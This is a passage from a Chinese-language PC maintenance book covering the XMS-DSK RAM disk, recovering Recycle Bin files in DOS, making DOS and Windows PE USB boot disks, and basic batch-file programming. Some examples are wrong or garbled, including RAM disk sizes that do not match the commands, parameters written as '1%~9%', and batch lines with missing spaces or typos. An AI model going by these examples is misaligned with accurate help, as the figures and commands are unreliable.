XMS-DSK除可以在CONFIG.SYS中加载外，还可以在命令行方式下无限次动态调节内存盘的大小或拆卸。它占用内存相当少，才几百字节的低端内存，且能够自动调入到UMB（上位内存块），而不需用LH命令。

如果将它用于启动盘中，可以为此启动盘增色不少。可使用XMS-DSK来安装内存磁盘使空余XMS内存小于32 M，让某些游戏软件正常运行。

2.XMS-DSK的使用语法

XMS-DSK使用的格式：XMSDSK[内存盘大小][驱动器][选项]

其中，内存盘大小基本单位是KB。例如，4就表示4 KB，1024就表示1024 KB=1 MB等，如果没有指定，则会建立一个0 KB的内存盘。驱动器表示要指定的内存盘的驱动器字母，若无则会自动使用下一个驱动器字母。例如，如果目前驱动器只有A盘、B盘、C盘和D盘，则会自动将内存盘加载到E盘上。

“选项”部分的参数如下：

·/？：查看命令行帮助。

·/Y：当执行操作时，不必进行确认，即默认为“是（Yes）”。

·/U：将内存盘拆卸，并退出内存。

·/T：将内存盘定位于XMS内存的顶部。

·/C：指定内存盘中扇区的簇大小。

通常只用到其/Y和/U选项。当使用不带任何参数和选项的方法运行XMS-DSK（即直接输入XMSDSK命令）时，若XMS-DSK当前已加载了，则会出现“是否加载它”的提示信息，否则，会自动显示出已加载的内存盘的状态信息，如内存盘的大小。

3.XMS-DSK应用实例

下面举一个XMS-DSK使用的例子。例如，现在想建一个5 MB的内存盘，再将其调整为10 MB，最后删除此内存盘以释放驱动器字母和使用的内存，而且当安装、调整和删除时不进行确认操作，就可以在DOS命令行下依次输入如下命令：

1）XMS-DSK 10240/Y：建立5MB的内存盘。

2）XMS-DSK 102400/Y：将已建立的5 MB内存盘的大小调整为10 MB。

3）XMS-DSK/U/Y：删除已加载的内存盘。

XMS-DSK是目前DOS系统下一款十分好用的XMS内存虚拟磁盘工具，是其他同类软件（如RAMDRIVE.SYS等）的最佳替代品。

8.4.3　在DOS中恢复回收站中的文件

回收站是Windows系统中的一个重要组件，用户可把不用或不知道要不要彻底删除的文件放在回收站中，它提供的还原功能某些时候可给用户带来很大方便，允许误删除的文件恢复成原来的文件。

但在DOS系统下，要如何才可以实现删除或恢复回收站中的文件呢？当把一些文件误删除后，发现无法进入Windows时，就必须在DOS环境下从回收站中恢复文件了，此时不妨采用如下的方法：

步骤1：重启系统后进入DOS模式，在DOS提示符下键入“CD RECYCLED”命令后进入到C：\RECYCLED文件夹下，这是一个隐藏目录，要恢复的文件就放在这里头（如果要恢复的文件原来在D盘，相应的目录是D：\RECYCLED，以此类推）。

步骤2：用DIR/A命令可以列出一堆DC开头的隐藏文件（DC1.txt，DC2.com等），这些就是要恢复的文件。

步骤3：由于Windows在把文件移至回收站时把文件名给改了，所以还需要找回原来的文件名。原来的文件名可以从RECYCLED目录下的INFO2文件中找，INFO2是一个二进制文件，每一个被删除的文件在INFO2文件中有一段记录（800字节），在其中可以找到文件名，其他的信息都不是ASCII字符，而且文件名按顺序排列，第一个文件名就是DC1.*文件原来的文件名，后缀名保持不变。

步骤4：如果被删除的是目录，则在RECYCLED下将有一个相同的目录，用同样的方法可以找回原来的目录名。但恢复起来远没有在Windows下恢复得那么方便。

8.4.4　在DOS中删除不必要的文件

对于确实不需要的文件进行真正的删除操作，可以省出很多宝贵的硬盘空间。一般情况下，都是通过右击“回收站”再选择“清空回收站”命令来删除的。如果要删除的文件比较多，删除需要一定时间且有一些文件还顽固不化，根本无法成功删除，此时，完全可以在DOS下快速、彻底地删除掉“回收站”中的文件以及IE的历史记录和Cookie等文件。

其方法是在Autoexec.bat文件中加入相应的代码，使得每次启动Windows时就可以删除这些文件。

具体的方法是使用“记事本”程序打开C：\Autoexec.bat文件，在其中添加如下代码：

Echo Y

if exist c:\windows\temp\*.*del c:\windows\temp\*.*>nul

if exist c:\windows\Tempor~1\*.*del c:\windows\Tempor~1\*.*>nul

if exist c:\windows\History\*.*del c:\windows\History\*.*>nul

if exist c:\windows\recent\*.*del c:\windows\recent\*.*>nul

if exist c:\windows\cookies\*.*del c:\windows\cookies\*.*>nul

此批处理第二行代码为删除临时文件夹的内容；第三、四行代码的作用是删除IE浏览器打开网页后遗留下的历史内容；第五行的作用是删除“开始”→“我最近的文档”中记录的内容；第六行为删除Cookies。

8.5　可能出现的问题与解决方法

1）在DOS环境变量中，造访环境究竟有几种方法呢？

解答：造访环境有2种方法，一种是通过SET命令来查看（SET命令直观、方便，大多数DOS用户都喜欢使用其来配置和查看DOS环境）；另一种是使用DEBUG命令来查看计算机的RAM（DEBUG命令属于简单的汇编语言编程命令，需要有一定的汇编语言基础才可以使用，因此用户量相对要少一些）。

2）如果发现Windows系统突然不能正常启动了，而必需的文件却保存在网上邻居中的共享资源内，是不是不能访问了呢？

解答：此时，如果想要利用Windows系统内的网上邻居命令来实现访问，确实是不能在DOS下进行操作的。其实DOS系统有自己的网络访问命令，即NET命令，用户必须要在DOS命令提示符下运行“NET VIEW ABC”命令（其中ABC表示网上邻居中的共享计算机名字），就能查看共享计算机ABC上的资源文件了。如果输入“NET USEF：abcdef”命令，则可以将网上邻居中共享计算机abc上的def目录映射为本地计算机中的F盘，以后直接在命令提示符下键入“F：”，就可以实现对网上邻居中进行相关操作了。

8.6　总结与经验积累

DOS是一种面向磁盘的系统软件，好比是人与机器之间的一座桥梁，是罩在机器硬件外面的一层“外壳”，有了DOS，用户就不必去深入了解机器的硬件结构，也不必死记硬背那些枯燥的机器命令，只需通过一些接近于自然语言的DOS命令，就可以轻松地完成绝大多数的日常操作。另外，DOS还能有效地管理各种软硬件资源，对它们进行合理的调度，所有的软件和硬件都在DOS的监控和管理之下，有条不紊地进行着自己的工作。

在Windows系统不能顾及的角落，DOS命令仍然会很容易帮助解决许多Windows系统问题。DOS的精髓在于命令的使用，通过对本章的学习，可以使读者更加深入地了解到DOS命令的妙用之处。

本章主要介绍了DOS命令的基础应用、DOS中的环境变量设置以及在DOS中实现文件与网络操作等，此外，还讲述了网络中的一些DOS命令实践。众多的系统管理和维护人员还要使用DOS来做最基础的维护。许多爱好者和网友也发现如果要真正成为高手，必须要学好用好DOS。学习好本章内容，有利于读者更加快速地完成一些日常操作，并节省大量的时间，提高工作效率。

第9章　制作启动盘

DOS之所以在当前还具有非常实用的价值，其中很大一个功劳要归功于DOS启动盘。启动盘将计算机启动到DOS下，随之即可使用一系列DOS工具软件来维护和解决系统故障。

主要内容：

●制作启动盘简述

●使用启动盘排除故障

●总结与经验积累

●U盘启动盘的使用

●可能出现的问题与解决方法

9.1　制作启动盘简述

如果系统硬盘出现故障，无法从硬盘启动，这时必须从光盘或U盘等启动，这张系统盘可以称为应急启动光盘或应急启动U盘。有了应急启动盘，在Windows出现问题而不能进入系统时，就可以尽快解决故障了。

9.1.1　认识启动盘

应急启动盘很重要，当你的系统崩溃，系统无法启动的时候，应急启动盘就成了你的救命稻草了。应急启动盘，顾名思义，就是用来启动计算机的盘，这个盘可以是软盘、光盘、U盘或其他盘，现在的启动盘主要是光盘和U盘。正常状况下，计算机都是从硬盘启动的，不会用到应急启动盘。应急启动盘只有在装机或系统崩溃、修复计算机系统或备份系统损坏的计算机中的数据时才会使用，即它的主要功能及用处就是安装系统和维护系统。

应急启动盘中的第1扇区里都会存有系统启动所必需的启动文件和用来修复计算机的必要工具软件，一般应急启动盘可以启动系统，还可以用来分区、格式化硬盘。如图9-1所示为U盘启动盘中的文件。

图9-1　U盘启动盘中的文件

对于计算机用户来说，手头常备一张应急启动盘非常重要，这可以确保随时启动计算机并且能够保留重要的系统数据和设置。

9.1.2　应急启动盘的作用

应急启动盘的作用主要有：

1）在系统崩溃时，启动系统，恢复被删除或被破坏的系统文件等。

2）感染了不能在Windows正常模式下清除的病毒时，用启动盘启动计算机以彻底删除这些顽固病毒。

3）用启动盘启动系统，然后测试一些软件等。

4）用启动盘启动系统，然后运行硬盘修复工具，解决硬盘坏道等错误问题。

提示

除了自制应急启动盘外，一些其他功能的软件光盘，也可以当作启动盘用。如Windows系统安装盘就拥有启动计算机的功能，常用的杀毒软件的光盘也具有启动系统的功能。

9.1.3　制作Windows PE启动盘

当计算机没有光驱或者光驱损坏的情况下，可以通过U盘、移动硬盘等工具制作的Windows PE启动盘来维护计算机。

下面以U盘为例，详细介绍如何制作Windows PE启动盘。

制作U盘Windows PE启动盘的方法非常简单。先在网上下载一个“UltraISO软碟通”工具软件，将U盘连接到计算机上，按照如下步骤进行操作：

步骤1：安装“UltraISO软碟通”软件，安装完成后双击运行该软件，打开“UltraISO软碟通”主界面，如图9-2所示。

图9-2　“UltraISO软碟通”主界面

步骤2：依次单击“文件”→“打开”菜单项，如图9-3所示。弹出“打开ISO文件”对话框，选中要制作启动盘的光盘镜像，单击“打开”按钮，如图9-4所示。

图9-3　单击“文件”→“打开”菜单项

步骤3：插上U盘，U盘容量最好在4 GB以上，然后依次单击“启动”→“写入硬盘映像”菜单项，如图9-5所示。

步骤4：打开“写入硬盘映像”对话框，单击硬盘驱动器后的下拉菜单选择你要制作启动盘的U盘，单击写入方式后的下拉菜单选择写入方式，设置完成后单击“写入”按钮，如图9-6所示。

写入方式有好几种，这里列出各个方式的特点：

·USB-ZIP：大容量软盘仿真模式，此模式在一些比较老的计算机上是唯一可选的模式，但对大部分新计算机来说兼容性不好，特别是2 GB以上的大容量U盘。

·USB-ZIP+：增强的USB-ZIP模式，支持USB-HDD/USB-ZIP双模式启动（根据计算机的不同，有些BIOS在DOS启动后可能显示C：盘，有些BIOS在DOS启动后可能显示A：盘），从而达到很高的兼容性。其缺点在于有些支持USB-HDD的计算机会将此模式的U盘认为是USB-ZIP来启动，从而导致4 GB以上大容量U盘的兼容性有所降低。

·USB-HDD：USB-HDD即USB Hard Drives的缩写，启动后U盘的盘符是C（注意：这个模式在安装系统时容易混淆U盘和硬盘的C分区）。USB-HDD硬盘仿真模式兼容性很高，但对于一些只支持USB-ZIP模式的计算机则无法启动。

·USB-HDD+：增强的USB-HDD模式，DOS启动后显示C盘，兼容性高于USB-HDD模式。但对仅支持USB-ZIP的计算机无法启动。

图9-4　选中要制作启动盘的光盘镜像

图9-5　依次单击“启动”→“写入硬盘映像”菜单项

图9-6　“写入硬盘映像”对话框

步骤5：因为写入启动信息会格式化当前U盘，所以在写入前一定要将U盘中的资料进行备份，此处单击“是”按钮继续操作，如图9-7所示。

步骤6：开始写入，写入完成后单击“返回”按钮即可，如图9-8所示。这样在系统出现问题时就可以用U盘启动盘进行重装系统了。

图9-7　单击“是”按钮

图9-8　开始写入

9.1.4　制作DOS启动盘

DOS系统启动时，要先从启动盘中读取两个系统文件IO.SYS和MSDOS.SYS，再在启动盘的根目录下寻找并执行CONFIG.SYS、COMMAND.COM、AUTOEXEC.BAT三个文件。其中IO.SYS、MSDOS.SYS和COMMAND.COM这三个文件缺一不可，否则计算机将无法正常启动。

1.DOS启动盘文件说明

制作启动盘需要使用sys命令，对于制作一张新的启动盘，应该说明如下两点：

·启动盘中的DOS版本均为Windows附带的DOS 7.1及其以上版本。

·用启动盘启动时，不是加载的功能越多越好，功能越多就意味着可用基本内存越少，产生一些问题的概率也越大，请根据实际需要来选择对应的启动菜单。

各DOS启动盘中存在的部分文件说明如下：

IO.SYS：DOS的三个基本系统文件之一。

MSDOS.SYS：DOS的三个基本系统文件之一。

COMMAND.COM：DOS的三个基本系统文件之一。

ATTRIB.EXE：DOS的文件属性修改工具。

AUTOEXEC.BAT：DOS的开机自动执行批处理文件。

CONFIG.SYS：DOS的系统配置文件。

DELTREE.EXE：DOS自带的删除目录及内嵌文件工具。

D.COM：DOS下的系统关机工具，适用于ATX电源。

DI1000DD.SYS：U盘的驱动程序。

DOSKEY.COM：DOS的DOSKEY，方便的命令行工具。

EDIT.COM：DOS的文本编辑工具。

EMM386.EXE：DOS的内存管理工具。

FDISK.EXE：分区工具Free Fdisk，支持大硬盘。

FORMAT.COM：DOS自带的格式化工具。

HIMEM.SYS：DOS的内存驱动。

JMHDFIX.EXE：江民硬盘修复王，比较危险，新手慎用。

LCC.COM：DOS下管理文件和目录的工具，可对中文目录和文件进行操作。

MOUSE.COM：PS/2、SERIAL接口鼠标的DOS驱动。

MSCDEX.EXE：DOS的光驱管理程序。

OAKCDROM.SYS：DOS的通用光驱驱动。

PC.EXE：PCTOOLS，一个强大的多功能工具包。

R.COM：DOS下的系统重启工具。

SCANDISK.EXE：DOS的磁盘扫描工具，用来修复一些常见的磁盘问题。

SMARTDRV.EXE：DOS的磁盘高速缓冲，加快DOS下文件读写的速度。

SYS.COM：DOS系统传递工具。

USBASPI.SYS：USB接口的驱动程序。

XCOPY.EXE：DOS的文件目录复制工具，比COPY命令功能更强大。

2.制作U盘版的DOS启动盘

随着软驱已被淘汰，需要启动盘的用户常常遇到一个尴尬局面：计算机上没有配置软驱。取而代之的是容量更大的移动存储设备U盘和移动硬盘。

能否把U盘制作成启动盘来维护系统呢？答案是肯定的。制作U盘启动盘需要工具，USBoot就是一个不错的选择。

利用USBoot将U盘制作成启动盘，其应该遵循的最基本功能如下：

·支持Himem和Emm386的内存管理，可突破DOS的640 KB常规内存的限制。

·支持各种常见IDE接口光驱（CDROM、DVD-ROM）。

·支持Smartdrv磁盘加速，大大加快DOS下磁盘读写的速度，尤其是在DOS下安装系统、Ghost镜像操作、扫描木马病毒，会为用户节省不少时间。

·支持串口（Serial）和PS/2接口的鼠标。

·支持NTFS分区的读写。

用USBoot制作U盘启动盘的具体操作方法如下：

步骤1：下载USBoot软件之后，将U盘插入主机的USB接口，再运行USBoot程序，其程序界面如图9-9所示。

步骤2：在列表中选择U盘之后，单击“点击此处选择工作模式”链接，在弹出的菜单中选择一种模式（建议选择“ZIP模式”），如图9-10所示。

·HDD模式和FDD模式建议在ZIP模式不能正常工作时再使用。

·ZIP模式是指把U盘模拟成ZIP驱动器模式，启动后U盘的盘符是A。

·HDD模式是指把U盘模拟成硬盘模式。

图9-9　USBoot程序界面

图9-10　选择工作模式

注意

如果选择了HDD模式，这个启动U盘启动后的盘符是C：，在对启动分区进行操作时就容易产生很多问题，如：装系统时安装程序会把启动文件写到U盘，而不是你硬盘的启动分区！导致系统安装失败。所以请尽量先选择ZIP模式。

·FDD模式是指把U盘模拟成软驱模式，启动后U盘的盘符是A：，这个模式的U盘在一些支持USB-FDD启动的机器上启动时会找不到U盘，所以请酌情使用。

步骤3：单击“开始”按钮，将会弹出“警告”对话框，如图9-11所示。再单击“是”按钮，即可开始格式化U盘，如图9-12所示。格式化完成之后，将会提示用户可以拔下U盘了，如图9-13所示。

步骤4：在拔下U盘之后，将会提示再次插上U盘，如图9-14所示。U盘插上后程序就会开始向U盘写入引导文件，如图9-15所示。在引导文件写入完毕之后，即可出现如图9-16所示的提示信息。至此，引导型U盘就制作成功了。

图9-11　“警告提示”对话框

图9-12　格式化正在进行中

图9-13　提示“请拔下U盘”窗口

图9-14　提示“请再次插上U盘”窗口

图9-15　写入引导文件

图9-16　提示“引导型U盘制作成功”窗口

在使用U盘启动盘时，需要先进入BIOS，将启动模式设置为制作U盘时所选择的模式，如制作U盘时选择“HDD模式”选项，则在BIOS设置中就相应选择这种启动模式。通过USBoot制作的启动型U盘自带了MSDOS 1.70的基本启动文件IO.SYS和COMMAND.COM，如果要制作多功能的启动盘，只需把需要的工具软件复制到U盘即可（如克隆软件Ghost、分区软件DM等）。

9.2　U盘启动盘的使用

随着计算机技术的发展，与软盘、光盘相比，U盘的优势越来越明显，其应用范围越来越广。U盘启动盘已是人们安装、维护操作系统的常用工具。

9.2.1　进入U盘系统

下面来看进入U盘系统的具体步骤：

步骤1：首先启动计算机进入BIOS界面，设置启动顺序为从U盘启动，如图9-17所示。

步骤2：设置完成后，按F10键保存设置并退出，弹出如图9-18所示的对话框，选择Yes保存配置更改并退出。

图9-17　设置启动顺序

图9-18　保存配置并退出

步骤3：重新启动计算机后，会自动从U盘启动，并提示输入密码，输入在启动U盘制作过程中设置的安全密码，如图9-19所示。

步骤4：输入密码后，按Enter键就可以进入到系统选择菜单，如图9-20所示。

图9-19　输入密码

图9-20　选择系统

步骤5：接下来，系统会自动启动并进入U盘操作系统的桌面，如图9-21所示。

图9-21　成功登录U盘操作系统

9.2.2　用U盘启动盘安装系统

以往用光盘装系统，必须将优先启动项设置为从光驱启动，而现在要用U盘安装系统，因此要将优先启动项设为从U盘启动。关于具体的设置方法，不同计算机、不同版本的BIOS都有所不同，不过都大同小异。

1）进入BIOS界面，选择Boot选项卡，其中可以对计算机启动顺序进行设置，如图9-22所示。

2）重新启动计算机后，要求输入启动U盘的密码，即制作该启动U盘时所设置的密码。密码输入正确后，即可看到一个选择菜单，选择“WinPE迷你维护系统（By：MAOTAO）”选项，如图9-23所示。

图9-22　设置启动顺序

图9-23　系统启动时的选项

3）接着，进入运行在U盘（而不是运行在计算机的硬盘）上的迷你操作系统Win PE，它具备很多类似于Windows操作系统的功能。有了它，就可以对计算机“随心所欲”地操作，如图9-24所示。

图9-24　成功进入U盘操作系统

4）在安装新的系统前，先用U盘上的Win PE对计算机上的C盘进行格式化操作。

5）运行U盘上的WinPE自带的一个虚拟光驱，并选择一个Ghost光盘镜像文件。

6）接着启动Win PE自带的另一个软件——诺顿Ghost。用它来把系统的Ghost镜像文件恢复到之前被格式化的C盘里。

7）使用诺顿Ghost恢复系统的方法和使用通常的Ghost恢复系统没什么区别。先选择From Image，然后找到虚拟光驱载入的光盘目录，选择GHOSTXP.GHO，接着选择要恢复到的硬盘，然后选择要恢复到的分区。

8）弹出提示对话框，询问是否要将指定的Ghost镜像文件恢复到计算机的C盘中去，单击Yes按钮即可。

9）恢复完毕后，重启进入系统。至此，用U盘安装操作系统即完成了。

注意

由于整个过程都是在硬盘里读取数据，所以在安装速度上比用光盘安装快很多。

其实，这只是用U盘安装系统的其中一种方法，还有很多其他方法可以安装系统，本书就不再一一讲述了。

有了启动U盘，就不用再担心系统崩溃后，重要的资料保存在C盘里而无法挽救了，因为只要用U盘启动Win PE，就可以进入系统将重要资料备份到其他分区里。希望读者可以据此举一反三，灵活运用Win PE这个安装在U盘上的非常有用的工具。

9.3　使用启动盘排除故障

启动盘的功能非常强大，下面一一介绍。

9.3.1　使用启动盘备份数据

在重新安装Windows之前，如果计算机中还有重要的数据没有备份，而用户必须更换或重新格式化硬盘，那么用户可以首先用Windows PE启动计算机，然后将重要文件复制到另一个磁盘或共享文件夹中。由于Windows PE具有对FAT和NTFS文件系统的完全访问权限，所以用户可以很容易将文件备份出来。

如果用户启动Windows PE后，打开的是命令提示符窗口，可以使用COPY和XCOPY命令复制文件及文件夹；如果启动Windows PE后，进入了桌面系统，则可以像在Windows系统中复制文件一样，将需格式化磁盘中的文件复制到其他磁盘即可，如图9-25所示。

图9-25　Windows PE中的资源管理器

提示

利用“加密文件系统”（EFS）加密的文件不易被恢复。

9.3.2　用启动盘替换损坏的系统文件

如果计算机无法正常启动，并出现某某文件丢失的错误提示，那么用户可以替换损坏文件。具体替换方法如下。

首先启动Windows PE，然后在Windows系统的安装盘中搜索被破坏的文件，需要注意的是，文件名的最后一个字符用下划线“_”代替，例如：如果要搜索“hal.dll”文件，则需要用“hal.dl_”来进行搜索。

搜索到了之后，在命令提示符模式中输入：“EXPAND+空格+源文件的完整路径+空格+目标文件的完整路径”。例如：EXPAND x：\i386\hal.dl_C：\Windows\system32\hal.dll，如图9-26所示。

如果找不到需要的文件，则可能丢失的文件在“CAB”文件中。这时可以使用“EXTRACT”命令进行替换。在命令提示符模式下，输入：“EXTRACT+空格+/L+空格+目标位置+空格+CAB文件的完整路径”，例如：EXTRACT/L C：\Windows\system32 x：\I386\Driver.cab\rundll32.exe。

图9-26　替换文件

提示

如果路径中有空格的话，则需要用双引号把路径括起来。

9.3.3　用启动盘维修注册表故障

如果Windows注册表出现故障无法启动系统，这时可以用Windows PE启动计算机，然后按以下步骤操作。

1）在命令提示符（或“运行”对话框）中，输入“regedit”并按Enter键，即可打开注册表编辑器，如图9-27所示。

2）用注册表编辑器中的“导入”命令，将以前备份的注册表文件导入系统，恢复注册表，如图9-28所示。

图9-27　打开注册表编辑器

图9-28　恢复注册表

9.3.4　用Windows诊断工具排除故障

在Windows系统中附带了很多诊断工具，当启动Windows PE后，可以利用这些诊断工具排除故障，下面举一个案例来讲解。

一台笔记本电脑在启动系统时，不断重新启动，不能正常进入系统。试着用Windows安全模式启动时，仍然无法正常启动。因此怀疑是系统后台有问题，接着用Windows PE启动，然后试着将系统盘中的文件备份出来，但发现无法打开C盘。怀疑C盘有磁盘错误，接着在命令提示符模式中，输入“chkdsk C：/F”然后按Enter键，检查磁盘是否有错误。当修复结束后，发现并修复了磁盘错误，接着重新启动之后系统恢复正常。如图9-29所示为在Windows PE中运行诊断工具。

图9-29　在Windows PE中运行诊断工具

表9-1为Windows PE的工具命令提示，在维护计算机的过程中用户可以根据需要选择不同的命令来维护计算机。当不知道某一个命令如何使用时，可以在命令提示符模式下，输入“命令/？”显示帮助信息。

表9-1　Windows PE的工具命令提示

9.4　可能出现的问题与解决方法

1）设置为从U盘启动后，还是不能从U盘启动系统？

解答：对于部分BIOS，特别是较老版本的，按9.2.1节的方法进行设置后，计算机一般可以从U盘启动。还有一些BIOS，不仅要将First Boot Device设为从U盘启动，还要将Advanced BIOS Features项下的Hard Disk Boot Priority选项设为优先从U盘引导，即将U盘选项移到最上面。要注意的是，如果设置时U盘没有连接到计算机上，则Hard Disk Boot Priority项下不会出现U盘选项。

2）当U盘版的DOS启动盘制作成功之后，应如何使用U盘启动盘？

解答：在使用U盘启动盘时需要先进入BIOS系统，将启动模式设置为制作U盘时所选模式，如制作U盘时选择“HDD模式”选项，则在BIOS设置中就相应选择这种启动模式。由USBoot制作的启动型U盘自带MSDOS7.10基本启动文件IO.SYS和COMMAND.COM，如果要制作多功能的启动盘，只需把需要的工具软件复制到U盘上即可，如克隆软件Ghost、分区软件DM等。

9.5　总结与经验积累

适当掌握一些DOS系统命令知识有助于用户在计算机世界中玩得更痛快，面对棘手的问题时更加游刃有余。尽管DOS系统不是万能的，但没有DOS系统却万万不能，Windows系统至今还没有发展到可以完全脱离DOS系统的阶段，很多Windows下解决不了的问题，还往往需要回到DOS系统下来解决。

DOS启动盘是目前最常用的DOS工具，附带的一些外部命令和工具有助于解决很多常见问题，而Windows PE启动盘使用户能在熟悉的Windows图形界面下维护计算机，操作简单、方便。本章主要介绍了DOS启动盘、Windows PE启动盘的制作和使用，运用这些启动盘均可进行系统维护与故障处理，从而更全面地实现系统的维护，为计算机的正常、安全运行奠定基础。

第10章　批处理BAT文件编程

BAT（批处理）文件是一种包含一条或多条命令、无格式的文本文件，文件扩展名为bat或cmd，可适应各种复杂的计算机操作。所谓批处理，就是按规定顺序自动执行若干个指定的DOS命令或程序，也即是把原来一个一个执行的命令汇总起来成批地执行，而程序文件可以移植到其他计算机中运行，因此，可以大大节省重复输入命令的时间。同时，批处理文件还可以通过扩展参数来灵活控制程序的执行，在日常工作中非常实用。

主要内容：

●在Windows中编辑批处理文件

●配置文件中常用的命令

●可能出现的问题与解决方法

●在批处理文件中使用参数与组合命令

●用BAT编程实现综合应用

●总结与经验积累

10.1　在Windows中编辑批处理文件

批处理文件允许用户建立一个包含若干MS-DOS命令的集合，在命令提示符下运行该文件时，MS-DOS就可以逐条处理文件中的每一个命令，从而完成大量重复的工作。在DOS和Windows下都可以编辑批处理和配置文件。

在Windows下编辑批处理和配置文件，可以使用大部分文本编辑工具进行编辑，如记事本、Word等（下面以记事本为例）。如果要打开批处理文件，可以在批处理文件上右击，并在弹出的快捷菜单中选择“编辑”选项，如果要打开.sys格式的系统配置文件，则需要右击该文件，并在弹出的快捷菜单中选择“打开方式”选项，“打开方式”对话框如图10-1所示。再在“程序”列表框中选择“记事本”选项，单击“确定”按钮，即可以记事本形式打开该配置文件，如图10-2所示。

图10-1　“打开方式”对话框

图10-2　用记事本打开系统配置文件

也可以先打开记事本程序，再选择“文件”→“打开”菜单项，在“打开”对话框的“文件类型”下拉列表中选择“所有文件”选项，即可显示出所有的文件，如图10-3所示。在其中选择要编辑的批处理文件之后，单击“打开”按钮，即可打开并编辑该批处理文件，如图10-4所示。

图10-3　“打开”对话框

图10-4　打开并编辑批处理文件

10.2　在批处理文件中使用参数与组合命令

批处理文件中还有很多不同的参数和组合命令，在对批处理文件进行编辑时，要经常用到这些参数和命令。如果对它们不熟悉，就无法编辑批处理文件，所以在学习和使用批处理文件时，需要先熟悉这些命令和参数。

10.2.1　在批处理文件中使用参数

在批处理中可以使用参数，参数一般为1%~9%这9个，当有多个参数时需要用Shift来对其进行移动，这种情况并不多见，就不考虑它了。

实例1：编辑可连续地格式化几张软盘的format.bat文件。

@echo off 

if "%1"=="a" format a: 

format 

@format a:/q/u/auotset 

@echo please insert another disk to driver A

@pause 

@goto format

这个例子用于连续地格式化几张软盘，所以使用时在DOS窗口输入format.bat a，就可以实现了。

实例2：打开记事本，在其中输入如下代码：

if "%1"=="s1" echo this is %1

if "%2"=="s2" echo this is %2

在输入完毕之后将其保存为c.bat，如图10-5所示。

此时，用户只需在“命令提示符”窗口运行“c.bat s1 s2”命令，即可看到具体的显示效果，如图10-6所示。从运行结果不难看出，“c.bat”运行时带有“s1”和“s2”两个参数，在程序运行之后，%1的值为s1，%2的值为s2，也就是实现参数的替换，另外，%0用来代表c.bat本身。

图10-5　编辑bat文件

图10-6　运行批处理文件

参数的一个常见用法是根据给出的参数，批处理文件在其内部进行判断，从而确定下一步的操作。

10.2.2　组合命令的实际应用

组合命令就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本中是允许的，而且应用非常广泛。它的格式很简单，而且现在已经成了一个文件，要用组合命令将多个命令连接起来放在同一行。

常见的组合命令有&、&&以及||，其具体介绍如下。

1.&命令

&是最简单的一个组合命令，作用是连接多个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。其命令格式为：第一条命令&第二条命令&第三条命令……

在命令提示符窗口中运行“echo a&echo b&echo c”命令，即可看到具体的显示效果，如图10-7所示。

图10-7　&命令运行结果

2.&&命令

使用&&命令可以把它前后两个命令组合起来当一个命令来用，与&命令不同，在从前往后依次执行被其连接的几个命令时，会自动判断是否有某个命令执行出错，一旦发现错误将不再执行后面剩下的命令。这就为自动完成一些任务提供了方便。

下面通过一个实例来讲述一下，具体的操作步骤如下：

步骤1：打开记事本程序窗口之后，在其中输入代码“echo 1&&echo 2&&if"%1"=="s1"echo3&&echo 4”，如图10-8所示。

步骤2：将其保存为g.bat文件之后，在“命令提示符”窗口运行“g.bat s1”命令，即可看到具体的显示效果，如图10-9所示。

图10-8　编辑bat文件

图10-9　运行“g.bat s1”命令结果

步骤3：在命令提示符窗口中运行“g.bat s”命令，即可看到运行结果，如图10-10所示。从中可以看出&&组合命令与&组合命令的差别在于如果有一条命令执行失败，组合命令将执行终止。

3.||命令

||命令的用法和&&几乎一样，但作用刚好相反：利用||命令在执行多条命令时，当遇到一个正确执行的命令时就退出此命令组合，不再继续执行下面的命令。

修改g.bat文件，将其内容修改为“if"%1"=="s1"echo 1||echo||echo3||echo 4”之后，在命令提示符窗口中运行“g.bat s1”命令，即可看到具体的显示效果，如图10-11所示。

图10-10　运行“g.bat s”命令的结果

图10-11　运行“||”命令的结果

10.3　配置文件中常用的命令

在DOS系统和Windows系统启动时，只要系统中存在着配置文件，就会先调用系统配置文件并执行其中的命令。配置文件常用的命令比批处理中的命令要多，常见的命令有Buffers、Device、Break、Devicehigh、Files、Install及Stacks等。

10.3.1　分配缓冲区数目的Buffers命令

Buffers命令可在系统启动时，在内存中分配指定个数的磁盘缓冲区，即DOS在内存中指定位置确定的磁盘缓冲区大小。此命令只在CONFIG.SYS文件中使用，如果在CONFIG.SYS文件中不用Buffers命令来指定缓冲区的个数，则在启动计算机时，MS-DOS将会根据系统配置设置不同的缺省缓冲区个数（通常是20~30个）。

磁盘缓冲区是一个内存区，作用是存储从磁盘读入的数据或存储写到磁盘上的数据。DOS在读或写一个记录之前，会检查包含那个记录的数据块是否已在磁盘缓冲区中。如果不在，则从磁盘上将该数据块读入到磁盘的缓冲区中，再将此记录传送给应用程序，否则将直接把数据传递给应用程序。

（1）语法

其命令格式为：Buffers=n[，m]

其参数的含义如下：

·n：指定磁盘缓冲区的数目，其大小在1~99之间。

·m：指定次高速缓存中的缓冲区数目，其值在0~8之间。

·缺省设置：磁盘缓冲区数目的缺省值设置，随着不同的系统配置而决定。

（2）典型示例

要创建20个磁盘缓冲区，可在CONFIG.SYS文件中加入“buffers=20”命令。

（3）注意事项

在使用Buffers命令时需要注意如下两点：

·采用DriveSpace和SMARTDrive，且MS-DOS被加载到HMA中时，设置BUFFERS=10。该命令确保在HMA中为MS-DOS，DriveSpace及所有缓冲区留有足够的空间（如果Buffers值大于10，则在HMA中就可能没有足够空间来存放所有缓冲区，MS-DOS将把所有缓冲区存放到常规内存中）。若使用SMARTDrive指定多于10个的缓冲区，并不会明显加快系统运行速度，而且需要使用更多的内存。

·采用SMARTDRV.EXE时，就不必再用Buffers命令或只需Buffers指定较小的缓冲区数目。

10.3.2　加载程序的Device命令

Device命令是系统配置中经常用到的一个命令，作用是加载一些内存驻留程序到内存中，用于管理设备，如内存管理程序和各种设备驱动程序等，此命令只能用在Config.sys文件中。

（1）语法

Device命令格式为：Device=[drive：][path]filename[dd-parameters]

·[drive：][path]filename：指定要加载的设备驱动程序的目录和名字。

·[dd-parameters]：指定设备驱动程序的目录和名字。

（2）典型示例

